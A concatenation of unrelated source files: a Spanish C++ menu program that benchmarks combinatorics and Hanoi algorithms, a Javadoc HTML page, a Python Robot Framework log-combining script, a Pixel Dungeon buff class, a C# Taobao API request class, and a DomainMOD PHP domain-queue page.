for( int i = 0 ; i < count ; ++i)
std::cin.ignore();
}
/**
* @brief Muestra un error personalizado por pantalla.
* @note Con 2 segundos de sleep da tiempo a leer los errores.
* @param er Error a mostrar.
*/
void error(const std::string &er){
std::cout << std::endl << "\e[31;1m[ERROR]\e[0m - " << er << std::endl;
fflush(stdout);
sleep(2);
}
/**
* @brief Muestra las opciones del menú e interactua con el usuario.
* @return Opción del menú a ejecutar.
* @sa cabecera()
* @sa error()
*/
uint opciones(){
int opcion;
do{
cabecera();
std::cout << "Estas son las opciones disponibles:" << std::endl;
std::cout << "\t\e[33;1m[1]\e[0m - Menú combinatoria." << std::endl;
std::cout << "\t\e[33;1m[2]\e[0m - Menú Hanoi." << std::endl;
std::cout << "\t\e[33;1m[0]\e[0m - Salir del programa." << std::endl;
std::cout << "Introduce tu opción: \e[33;1m";
std::cin >> opcion;
std::cout << "\e[0m";
if(opcion<0 || opcion>2){
error("Opción no válida. Volviendo al menú principal...");
}
}while(opcion<0 || opcion>2);
return opcion;
}
/**
* @brief Función para despedirse.
* @note Con el Adiós en grande mejoramos la experiencia del usuario.
* @sa cabecera()
*/
void despedida(){
cabecera();
std::cout << "Gracias por usar el programa, ¡hasta la próxima!\e[1m" << std::endl;
std::cout << " _ _ __ " << std::endl << "\
/\\ | (_) /_/ " << std::endl << "\
/ \\ __| |_ ___ ___ " << std::endl << "\
/ /\\ \\ / _` | |/ _ \\/ __|" << std::endl << "\
/ ____ \\ (_| | | (_) \\__ \\" << std::endl << "\
/_/ \\_\\__,_|_|\\___/|___/" << std::endl << "\
" << std::endl << "\
\e[0m" << std::endl;
}
void mostrar_determinacion(al::Statistical &stats){
cabecera();
std::cout << std::endl << "Coeficiente de determinación: " << stats.get_coef() << std::endl;
volver();
}
void mostrar_ecuacion(al::Statistical &stats){
cabecera();
bool lineal = stats.get_lineal();
std::vector<long double> aux = stats.get_params_value();
std::cout << "Ecuación de estimación:" << std::endl << "\tt(n) = ";
if(lineal){
for (int i = 0; i < aux.size(); ++i) {
std::cout << ((i == 0) ? aux[i] : std::abs(aux[i])) << "*n^" << i;
if( i < (aux.size()-1))
aux[i]>0?std::cout<<" + ":std::cout<<" - ";
}
}
else{
std::cout << aux[0] << (aux[1]>0?" + ":" - ") << std::abs(aux[1]) << "*2^n" << std::endl;
}
volver();
}
void mostrar_grafica(const std::string &f_name){
cabecera();
std::string cmd = "xdg-open " + f_name + " 2> /dev/null";
FILE * aux = popen(cmd.c_str(), "r");
pclose(aux);
volver();
}
void estimar_tiempos(al::Statistical &stats, const std::string &x){
cabecera();
int tam;
long double res = 0;
std::vector<long double> params = stats.get_params_value();
bool lineal = stats.get_lineal();
std::cout << "Introduce el " << x << " a calcular: ";
std::cin >> tam;
if(lineal){
for( int i = 0 ; i < params.size() ; ++i ){
res += params[i] * pow(tam, i);
}
}
else{
res = params[0] + params[1] * pow(2, tam);
}
std::cout << std::endl << "Taradría " << (lineal?res*pow(10,-6)/(60*60):res*(pow(10, -6)/(3600*24))) << (lineal? " horas.":" años.") << std::endl;
volver();
}
int opciones_comb(){
int opcion;
do{
cabecera();
std::cout << "Estas son las opciones disponibles:" << std::endl;
std::cout << "\t\e[33;1m[1]\e[0m - Algoritmo recursivo." << std::endl;
std::cout << "\t\e[33;1m[2]\e[0m - Algoritmo recursivo con tabla de valores." << std::endl;
std::cout << "\t\e[33;1m[3]\e[0m - Algoritmo iterativo." << std::endl;
std::cout << "\t\e[33;1m[0]\e[0m - Atrás." << std::endl;
std::cout << "Introduce tu opción: \e[33;1m";
std::cin >> opcion;
std::cout << "\e[0m";
if(opcion<0 || opcion>3){
error("Opción no válida. Volviendo al menú...");
}
}while(opcion<0 || opcion>3);
return opcion;
}
int opciones_stats(){
int opcion;
do{
cabecera();
std::cout << "Estas son las opciones disponibles:" << std::endl;
std::cout << "\t\e[33;1m[1]\e[0m - Mostrar coeficiente de determinación." << std::endl;
std::cout << "\t\e[33;1m[2]\e[0m - Mostrar ecuación de estimación." << std::endl;
std::cout << "\t\e[33;1m[3]\e[0m - Mostrar gráfico generado." << std::endl;
std::cout << "\t\e[33;1m[4]\e[0m - Estimar tiempos." << std::endl;
std::cout << "\t\e[33;1m[0]\e[0m - Atrás." << std::endl;
std::cout << "Introduce tu opción: \e[33;1m";
std::cin >> opcion;
std::cout << "\e[0m";
if(opcion<0 || opcion>4){
error("Opción no válida. Volviendo...");
}
}while(opcion<0 || opcion>4);
return opcion;
}
void menu_combinatoria(const int &type){
cabecera();
int mayor, menor, incremento, n_rpt, opcion;
Clock timer;
std::string dat_name, eps_name;
uint64_t aux_timer1, aux_timer2;
al::Statistical stats(true);
std::cout << "Introduce el menor número a calcular: ";
std::cin >> menor;
std::cout << "Introduce el mayor número a calcular: ";
std::cin >> mayor;
std::cout << "Introduce el incremento: ";
std::cin >> incremento;
std::cout << "Veces a repetir: ";
std::cin >> n_rpt;
if(menor > mayor){
menor += mayor;
mayor = menor - mayor;
menor -= mayor;
}
if(incremento > (mayor-menor)){
std::cerr << "\e[1;31m[Error]\e[m. The increment mustn't be higher than the upper number minus the lower number." << std::endl;
exit(1);
}
std::cout << std::endl << "Procesando..." << std::endl;
for( int i = menor ; i <= mayor ; i+=incremento ){
aux_timer1 = 0;
for( int j = 0 ; j <= i ; ++j ){
aux_timer2 = 0;
for( int k = 0 ; k < n_rpt ; ++k ){
long long res;
std::vector<std::vector< long long > > v = std::vector<std::vector< long long > >(i, std::vector<long long>(j));
if(type == 2){
for( int z = 0 ; z < i ; ++z ){
for( int t = 0 ; t < j ; ++t )
v[z][t] = -1;
}
}
timer.start();
switch (type){
case 1:
res = combinatorio_recursivo(i, j);
break;
case 2:
res = combinatorio_recursivo_2(i, j, v);
break;
case 3:
res = combinatorio_iterativo(i, j);
break;
}
timer.stop();
aux_timer2 += timer.elapsed();
}
// t(i,0) + t(i,1) .. t(i,i)
aux_timer1 += aux_timer2/n_rpt;
}
stats.add_test_size(i);
// t(i) = (t(i,0) + t(i,1) .. t(i,i)) / (i+1)
stats.add_elapsed_time(aux_timer1/(i+1));
}
stats.estimate_times(4);
switch (type){
case 1:
dat_name = "comb_rec.dat";
eps_name = "comb_rec.eps";
break;
case 2:
dat_name = "comb_rec2.dat";
eps_name = "comb_rec2.eps";
break;
case 3:
dat_name = "comb_iter.dat";
eps_name = "comb_iter.eps";
break;
}
stats.dump_stats(dat_name.c_str());
bool salir = false;
do{
opcion = opciones_stats();
switch (opcion){
case 0:
salir = true;
break;
case 1:
mostrar_determinacion(stats);
break;
case 2:
mostrar_ecuacion(stats);
break;
case 3:
mostrar_grafica(eps_name);
break;
case 4:
estimar_tiempos(stats, "tamaño de combinatorio");
break;
}
}while(!salir);
}
void menu_combinatoria(){
int opcion;
bool salir = false;
do{
opcion = opciones_comb();
switch(opcion){
case 0:
salir = true;
break;
default:
menu_combinatoria(opcion);
}
}while(!salir);
}
int opciones_hanoi(){
int opcion;
do{
cabecera();
std::cout << "Estas son las opciones disponibles:" << std::endl;
std::cout << "\t\e[33;1m[1]\e[0m - Cálculo de movimientos con n discos." << std::endl;
std::cout << "\t\e[33;1m[2]\e[0m - Representación gráfica." << std::endl;
std::cout << "\t\e[33;1m[0]\e[0m - Atrás." << std::endl;
std::cout << "Introduce tu opción: \e[33;1m";
std::cin >> opcion;
std::cout << "\e[0m";
if(opcion<0 || opcion>2){
error("Opción no válida. Volviendo al menú...");
}
}while(opcion<0 || opcion>2);
return opcion;
}
void calculo_hanoi(){
cabecera();
int tam, n_rpt, opcion;
Clock timer;
al::Statistical stats(false);
uint64_t aux_timer;
std::cout << "Introduce el tamaño máximo de discos a utilizar: ";
std::cin >> tam;
std::cout << "Veces a repetir: ";
std::cin >> n_rpt;
for(int i = 0 ; i < tam ; ++i){
aux_timer = 0;
for (int j = 0; j < n_rpt ; ++j) {
al::Hanoi h(i);
timer.start();
h.solve_hanoi();
timer.stop();
aux_timer += timer.elapsed();
}
stats.add_test_size(i);
stats.add_elapsed_time(aux_timer/n_rpt);
}
stats.estimate_times(2);
stats.dump_stats("hanoi.dat");
bool salir = false;
do{
opcion = opciones_stats();
switch (opcion){
case 0:
salir = true;
break;
case 1:
mostrar_determinacion(stats);
break;
case 2:
mostrar_ecuacion(stats);
break;
case 3:
mostrar_grafica("hanoi.eps");
break;
case 4:
estimar_tiempos(stats, "número de discos de hanoi");
break;
}
}while(!salir);
}
void hanoi_grafico(){
cabecera();
int tam;
std::cout << "Introduce el número de discos (entre 1 y 8): ";
std::cin >> tam;
al::Hanoi h(tam);
cls();
std::cout << std::endl << std::endl << h << std::endl << "Estado inicial, pulsa ENTER para continuar";;
std::cin.ignore();
std::cin.ignore();
usleep(500000);
h.solve_hanoi(true);
std::cout << std::endl << "Hanoi resuelto en " << h.get_moves() << " movimientos." << std::endl;
volver(1);
}
void menu_hanoi(){
int opcion;
bool salir = false;
do{
opcion = opciones_hanoi();
switch(opcion){
case 1:
calculo_hanoi();
break;
case 2:
hanoi_grafico();
break;
case 3:
break;
case 0:
salir = true;
break;
}
}while(!salir);
}
#endif
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc (1.8.0_111) on Thu Dec 22 11:36:55 CET 2016 -->
<title>ch.ethz.inspire.emod.model.units</title>
<meta name="date" content="2016-12-22">
<link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="ch.ethz.inspire.emod.model.units";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../overview-summary.html">Overview</a></li>
<li class="navBarCell1Rev">Package</li>
<li>Class</li>
<li><a href="package-use.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../ch/ethz/inspire/emod/model/thermal/package-summary.html">Prev Package</a></li>
<li><a href="../../../../../../ch/ethz/inspire/emod/simulation/package-summary.html">Next Package</a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../index.html?ch/ethz/inspire/emod/model/units/package-summary.html" target="_top">Frames</a></li>
<li><a href="package-summary.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h1 title="Package" class="title">Package ch.ethz.inspire.emod.model.units</h1>
</div>
<div class="contentContainer">
<ul class="blockList">
<li class="blockList">
<table class="typeSummary" border="0" cellpadding="3" cellspacing="0" summary="Class Summary table, listing classes, and an explanation">
<caption><span>Class Summary</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Class</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><a href="../../../../../../ch/ethz/inspire/emod/model/units/SiConstants.html" title="class in ch.ethz.inspire.emod.model.units">SiConstants</a></td>
<td class="colLast">
<div class="block">Implements varoius SI constants</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><a href="../../../../../../ch/ethz/inspire/emod/model/units/SiUnit.html" title="class in ch.ethz.inspire.emod.model.units">SiUnit</a></td>
<td class="colLast">
<div class="block">SI unit class</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><a href="../../../../../../ch/ethz/inspire/emod/model/units/SiUnitDefinition.html" title="class in ch.ethz.inspire.emod.model.units">SiUnitDefinition</a></td>
<td class="colLast">
<div class="block">Implementation of the SI definitions</div>
</td>
</tr>
</tbody>
</table>
</li>
<li class="blockList">
<table class="typeSummary" border="0" cellpadding="3" cellspacing="0" summary="Enum Summary table, listing enums, and an explanation">
<caption><span>Enum Summary</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Enum</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><a href="../../../../../../ch/ethz/inspire/emod/model/units/ContainerType.html" title="enum in ch.ethz.inspire.emod.model.units">ContainerType</a></td>
<td class="colLast"> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><a href="../../../../../../ch/ethz/inspire/emod/model/units/Unit.html" title="enum in ch.ethz.inspire.emod.model.units">Unit</a></td>
<td class="colLast"> </td>
</tr>
</tbody>
</table>
</li>
</ul>
</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../overview-summary.html">Overview</a></li>
<li class="navBarCell1Rev">Package</li>
<li>Class</li>
<li><a href="package-use.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../ch/ethz/inspire/emod/model/thermal/package-summary.html">Prev Package</a></li>
<li><a href="../../../../../../ch/ethz/inspire/emod/simulation/package-summary.html">Next Package</a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../index.html?ch/ethz/inspire/emod/model/units/package-summary.html" target="_top">Frames</a></li>
<li><a href="package-summary.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| Java |
import commandRunner as cr
import subprocess
import glob, os, platform, shutil, adb
from pathlib import Path
def combine_browsers_logs(udid):
cmd = 'rebot -N Combined --outputdir browserlogs/ '
for idx, device in enumerate(udid):
#Get all the output.xml files for the devices
if platform.system() == "Windows":
cmd += os.getcwd() + "\\browserlogs\\" + device + "\output.xml "
else:
cmd += os.getcwd() + "/browserlogs/" + device + "/output.xml "
cr.run_command(cmd)
pngs = []
#For screenshot images
if platform.system() == "Windows":
for idx, device in enumerate(udid):
pngs += glob.glob(os.getcwd() + "\\browserlogs\\" + device + "\\" + "*.png")
for p in pngs:
shutil.copy(p, p.replace(device + "\\", ""))
#remove those that have been moved/copied
pngs = [p for p in pngs if not p]
else:
for idx, device in enumerate(udid):
pngs += glob.glob(os.getcwd() + "/browserlogs/" + device + "/" + "*.png")
for p in pngs:
shutil.copy(p, p.replace(device + "/", ""))
#remove those that have been moved/copied
pngs = [p for p in pngs if not p]
def combine_logs(udid):
cmd = 'rebot -N Combined --outputdir logs/ '
for idx, device in enumerate(udid):
#Get all the output.xml files for the devices
if platform.system() == "Windows":
cmd += os.getcwd() + "\logs\\" + device + "_" + "*\output.xml "
else:
cmd += os.getcwd() + "/logs/" + device + "_" + "*/output.xml "
cr.run_command(cmd)
pngs = []
#For screenshot images
if platform.system() == "Windows":
pngs = glob.glob(os.getcwd() + "\logs\**\*.png")
for idx, device in enumerate(udid):
for p in pngs:
if Path(p).is_file(): #If image exist
imgname = p[p.rindex('\\')+1:]
k = p.rfind("\logs\\")
path = p[:k]
newPath = path + "\logs\\" + imgname
shutil.move(p,newPath)
else:
pngs = glob.glob(os.getcwd() + "/logs/**/*.png")
for idx, device in enumerate(udid):
for p in pngs:
if Path(p).is_file(): #If image exist
imgname = p[p.rindex('/')+1:]
k = p.rfind("/logs/")
path = p[:k]
newPath = path + "/logs/" + imgname
shutil.move(p,newPath)
def zip_logs():
if platform.system() == "Windows":
cmd = "Compress-Archive logs logs-$(date +%Y-%m-%d-%H%M).zip"
subprocess.call(["powershell.exe", cmd])
elif platform.system() == "Linux" or platform.system() == "Darwin":
cmd = "zip -vr logs-$(date +%Y-%m-%d-%H%M).zip" + " logs/"
cr.run_command(cmd)
def zip_browsers_logs():
if platform.system() == "Windows":
cmd = "Compress-Archive browserlogs browserlogs-$(date +%Y-%m-%d-%H%M).zip"
subprocess.call(["powershell.exe", cmd])
elif platform.system() == "Linux" or platform.system() == "Darwin":
cmd = "zip -vr browserlogs-$(date +%Y-%m-%d-%H%M).zip" + " browserlogs/"
cr.run_command(cmd)
def delete_previous_logs():
cmd = 'rm -rf logs/*'
cr.run_command(cmd)
def delete_previous_logs_browser():
cmd = 'rm -rf browserlogs/*'
cr.run_command(cmd) | Java |
/*
* Pixel Dungeon
* Copyright (C) 2012-2015 Oleg Dolya
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
package com.lh64.randomdungeon.actors.buffs;
import com.lh64.randomdungeon.ui.BuffIndicator;
import com.lh64.utils.Bundle;
public class SnipersMark extends FlavourBuff {
public int object = 0;
private static final String OBJECT = "object";
@Override
public void storeInBundle( Bundle bundle ) {
super.storeInBundle( bundle );
bundle.put( OBJECT, object );
}
@Override
public void restoreFromBundle( Bundle bundle ) {
super.restoreFromBundle( bundle );
object = bundle.getInt( OBJECT );
}
@Override
public int icon() {
return BuffIndicator.MARK;
}
@Override
public String toString() {
return "Zeroed in";
}
}
| Java |
namespace Maticsoft.TaoBao.Request
{
using Maticsoft.TaoBao;
using Maticsoft.TaoBao.Util;
using System;
using System.Collections.Generic;
using System.Runtime.CompilerServices;
public class SimbaAdgroupCampcatmatchsGetRequest : ITopRequest<SimbaAdgroupCampcatmatchsGetResponse>
{
private IDictionary<string, string> otherParameters;
public void AddOtherParameter(string key, string value)
{
if (this.otherParameters == null)
{
this.otherParameters = new TopDictionary();
}
this.otherParameters.Add(key, value);
}
public string GetApiName()
{
return "taobao.simba.adgroup.campcatmatchs.get";
}
public IDictionary<string, string> GetParameters()
{
TopDictionary dictionary = new TopDictionary();
dictionary.Add("campaign_id", this.CampaignId);
dictionary.Add("nick", this.Nick);
dictionary.Add("page_no", this.PageNo);
dictionary.Add("page_size", this.PageSize);
dictionary.AddAll(this.otherParameters);
return dictionary;
}
public void Validate()
{
RequestValidator.ValidateRequired("campaign_id", this.CampaignId);
}
public long? CampaignId { get; set; }
public string Nick { get; set; }
public long? PageNo { get; set; }
public long? PageSize { get; set; }
}
}
| Java |
<?php
/**
* /queue/add.php
*
* This file is part of DomainMOD, an open source domain and internet asset manager.
* Copyright (c) 2010-2016 Greg Chetcuti <greg@chetcuti.com>
*
* Project: http://domainmod.org Author: http://chetcuti.com
*
* DomainMOD is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
* License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later
* version.
*
* DomainMOD is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
* warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with DomainMOD. If not, see
* http://www.gnu.org/licenses/.
*
*/
?>
<?php
include("../_includes/start-session.inc.php");
include("../_includes/init.inc.php");
require_once(DIR_ROOT . "classes/Autoloader.php");
spl_autoload_register('DomainMOD\Autoloader::classAutoloader');
$system = new DomainMOD\System();
$error = new DomainMOD\Error();
$layout = new DomainMOD\Layout();
$domain = new DomainMOD\Domain();
$time = new DomainMOD\Time();
$form = new DomainMOD\Form();
include(DIR_INC . "head.inc.php");
include(DIR_INC . "config.inc.php");
include(DIR_INC . "software.inc.php");
include(DIR_INC . "settings/queue-add.inc.php");
include(DIR_INC . "database.inc.php");
$system->authCheck($web_root);
$system->readOnlyCheck($_SERVER['HTTP_REFERER']);
$new_raid = $_REQUEST['new_raid'];
$raw_domain_list = $_POST['raw_domain_list'];
if ($new_raid != '' ) {
$query = "SELECT apir.name, apir.req_account_username, apir.req_account_password, apir.req_reseller_id,
apir.req_api_app_name, apir.req_api_key, apir.req_api_secret, apir.req_ip_address, apir.lists_domains,
apir.ret_expiry_date, apir.ret_dns_servers, apir.ret_privacy_status, apir.ret_autorenewal_status,
apir.notes, ra.username, ra.password, ra.reseller_id, ra.api_app_name, ra.api_key, ra.api_secret,
ra.api_ip_id
FROM registrar_accounts AS ra, registrars AS r, api_registrars AS apir
WHERE ra.registrar_id = r.id
AND r.api_registrar_id = apir.id
AND ra.id = ?";
$q = $conn->stmt_init();
if ($q->prepare($query)) {
$q->bind_param('i', $new_raid);
$q->execute();
$q->store_result();
$q->bind_result($api_registrar_name, $req_account_username, $req_account_password, $req_reseller_id,
$req_api_app_name, $req_api_key, $req_api_secret, $req_ip_address, $lists_domains,
$ret_expiry_date, $ret_dns_servers, $ret_privacy_status, $ret_autorenewal_status,
$registrar_notes, $account_username, $account_password, $reseller_id, $api_app_name, $api_key,
$api_secret, $api_ip_id);
$q->fetch();
$q->close();
} else $error->outputSqlError($conn, "ERROR");
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$format = new DomainMOD\Format();
$domain_list = $format->cleanAndSplitDomains($raw_domain_list);
// If the registrar has the ability to retrieve the list of domains
if ($lists_domains == '1' && $raw_domain_list == '') {
if ($new_raid == '') {
if ($new_raid == '') $_SESSION['s_message_danger'] .= "Please choose the registrar account<BR>";
} else {
$query = "SELECT ra.owner_id, ra.registrar_id, r.api_registrar_id
FROM registrar_accounts AS ra, registrars AS r
WHERE ra.registrar_id = r.id
AND ra.id = ?";
$q = $conn->stmt_init();
if ($q->prepare($query)) {
$q->bind_param('i', $new_raid);
$q->execute();
$q->store_result();
$q->bind_result($t_owner_id, $t_registrar_id, $t_api_registrar_id);
while ($q->fetch()) {
$temp_owner_id = $t_owner_id;
$temp_registrar_id = $t_registrar_id;
$temp_api_registrar_id = $t_api_registrar_id;
}
$q->close();
} else $error->outputSqlError($conn, "ERROR");
$query = "INSERT INTO domain_queue_list
(api_registrar_id, owner_id, registrar_id, account_id, created_by, insert_time)
VALUES
(?, ?, ?, ?, ?, ?)";
$q = $conn->stmt_init();
if ($q->prepare($query)) {
$timestamp = $time->stamp();
$q->bind_param('iiiiis', $temp_api_registrar_id, $temp_owner_id, $temp_registrar_id, $new_raid, $_SESSION['s_user_id'], $timestamp);
$q->execute() or $error->outputSqlError($conn, "Couldn't add registrar account to list queue");
$q->close();
} else $error->outputSqlError($conn, "ERROR");
$_SESSION['s_domains_in_list_queue'] = '1';
$_SESSION['s_message_success'] .= "Registrar Account Added To Domain List Queue<BR>";
header("Location: index.php");
exit;
}
} else { // If the registrar's API DOES NOT have the ability to retrieve the list of domains, or if there's a
// problem with he automatic import, use the list supplied
// check to make sure that the registrar associated with the account has API support
$query = "SELECT ra.id, ra.registrar_id
FROM registrar_accounts AS ra, registrars AS r, api_registrars AS ar
WHERE ra.registrar_id = r.id
AND r.api_registrar_id = ar.id
AND ra.id = ?";
$q = $conn->stmt_init();
if ($q->prepare($query)) {
$q->bind_param('i', $new_raid);
$q->execute();
$q->store_result();
if ($q->num_rows() == 0) {
$query2 = "SELECT registrar_id
FROM registrar_accounts
WHERE id = ?";
$q2 = $conn->stmt_init();
if ($q2->prepare($query2)) {
$q2->bind_param('i', $new_raid);
$q2->execute();
$q2->store_result();
$q2->bind_result($t_rid);
while ($q2->fetch()) {
$temp_registrar_id = $t_rid;
}
$q2->close();
} else $error->outputSqlError($conn, "ERROR");
$has_api_support = '0';
} else {
$has_api_support = '1';
}
$q->close();
} else $error->outputSqlError($conn, "ERROR");
if ($new_raid == '' || $raw_domain_list == '' || $has_api_support != '1') {
if ($has_api_support != '1' && $new_raid != '') {
$_SESSION['s_message_danger'] .= "Either the registrar associated with this account doesn't have API support, or you haven't yet updated the registrar to indicate API support.<BR><BR>Please check the <a href='" . $web_root . "/assets/edit/registrar.php?rid=" . $temp_registrar_id . "'>registrar</a> and try again.";
} else {
if ($new_raid == '') $_SESSION['s_message_danger'] .= "Please choose the registrar account<BR>";
if ($raw_domain_list == '') $_SESSION['s_message_danger'] .= "Enter the list of domains to add to the queue<BR>";
}
} else {
list($invalid_to_display, $invalid_domains, $invalid_count, $temp_result_message) = $domain->findInvalidDomains($domain_list);
if ($raw_domain_list == "" || $invalid_domains == 1) {
if ($invalid_domains == 1) {
if ($invalid_count == 1) {
$_SESSION['s_message_danger'] .= "There is " . number_format($invalid_count) . " invalid domain on your list<BR><BR>" . $temp_result_message;
} else {
$_SESSION['s_message_danger'] .= "There are " . number_format($invalid_count) . " invalid domains on your list<BR><BR>" . $temp_result_message;
if (($invalid_count - $invalid_to_display) == 1) {
$_SESSION['s_message_danger'] .= "<BR>Plus " . number_format($invalid_count - $invalid_to_display) . " other<BR>";
} elseif (($invalid_count - $invalid_to_display) > 1) {
$_SESSION['s_message_danger'] .= "<BR>Plus " . number_format($invalid_count - $invalid_to_display) . " others<BR>";
}
}
} else {
$_SESSION['s_message_danger'] .= "Enter the list of domains to add to the queue<BR>";
}
$submission_failed = 1;
} else {
$date = new DomainMOD\Date();
reset($domain_list);
// cycle through domains here
while (list($key, $new_domain) = each($domain_list)) {
$query = "SELECT domain
FROM domains
WHERE domain = ?";
$q = $conn->stmt_init();
if ($q->prepare($query)) {
$q->bind_param('s', $new_domain);
$q->execute();
$q->store_result();
if ($q->num_rows() > 0) {
$has_existing_domains = '1';
}
}
}
reset($domain_list);
// cycle through domains here
while (list($key, $new_domain) = each($domain_list)) {
$query = "SELECT domain
FROM domain_queue
WHERE domain = ?";
$q = $conn->stmt_init();
if ($q->prepare($query)) {
$q->bind_param('s', $new_domain);
$q->execute();
$q->store_result();
if ($q->num_rows() > 0) {
$has_existing_domains_queue = '1';
}
}
}
if ($new_raid == "" || $new_raid == "0" || $has_existing_domains == '1' || $has_existing_domains_queue == '1') {
if ($has_existing_domains == '1') $_SESSION['s_message_danger'] .= "At least one of the domains you entered already exists in " . $software_title . ".<BR><BR>You should run the domain list through a Segment filter to determine which one(s).<BR><BR>";
if ($has_existing_domains_queue == '1') $_SESSION['s_message_danger'] .= "At least one of the domains you entered is already in the domain queue.<BR>";
if ($new_raid == "" || $new_raid == "0") $_SESSION['s_message_danger'] .= "Please choose the registrar account<BR>";
$submission_failed = 1;
} else {
$query = "SELECT ra.owner_id, ra.registrar_id, r.api_registrar_id
FROM registrar_accounts AS ra, registrars AS r
WHERE ra.registrar_id = r.id
AND ra.id = ?";
$q = $conn->stmt_init();
if ($q->prepare($query)) {
$q->bind_param('i', $new_raid);
$q->execute();
$q->store_result();
$q->bind_result($t_oid, $t_rid, $t_apirid);
while ($q->fetch()) {
$temp_owner_id = $t_oid;
$temp_registrar_id = $t_rid;
$temp_api_registrar_id = $t_apirid;
}
$q->close();
} else $error->outputSqlError($conn, "ERROR");
reset($domain_list);
// cycle through domains here
while (list($key, $new_domain) = each($domain_list)) {
$domain_temp = new DomainMOD\Domain();
$new_tld = $domain_temp->getTld($new_domain);
$query = "INSERT INTO domain_queue
(api_registrar_id, domain, owner_id, registrar_id, account_id, tld, created_by, insert_time)
VALUES
(?, ?, ?, ?, ?, ?, ?, ?)";
$q = $conn->stmt_init();
if ($q->prepare($query)) {
$timestamp = $time->stamp();
$q->bind_param('isiiisis', $temp_api_registrar_id, $new_domain, $temp_owner_id, $temp_registrar_id,
$new_raid, $new_tld, $_SESSION['s_user_id'], $timestamp);
$q->execute() or $error->outputSqlError($conn, "Couldn't add domains to queue");
$q->close();
} else $error->outputSqlError($conn, "ERROR");
} // finish cycling through domains here
$done = "1";
reset($domain_list);
$new_data_unformatted = implode(", ", $domain_list);
$_SESSION['s_domains_in_queue'] = '1';
$_SESSION['s_message_success'] .= "Domains Added To Queue<BR>";
}
}
}
}
}
?>
<?php include(DIR_INC . 'doctype.inc.php'); ?>
<html>
<head>
<title><?php echo $system->pageTitle($software_title, $page_title); ?></title>
<?php include(DIR_INC . "layout/head-tags.inc.php"); ?>
<?php echo $layout->jumpMenu(); ?>
</head>
<body class="hold-transition skin-red sidebar-mini">
<?php include(DIR_INC . "layout/header.inc.php"); ?>
<?php
if ($done == "1") {
if ($submission_failed != "1") { ?>
<strong>The following domains were added to the queue:</strong><BR>
<?php echo htmlentities($new_data_unformatted, ENT_QUOTES, 'UTF-8'); ?><BR><BR><?php
}
}
?>
<strong>Domain Queue & API Prerequisites</strong><BR>
Before you can add domains to DomainMOD using the Domain Queue you must first do the following:
<ol>
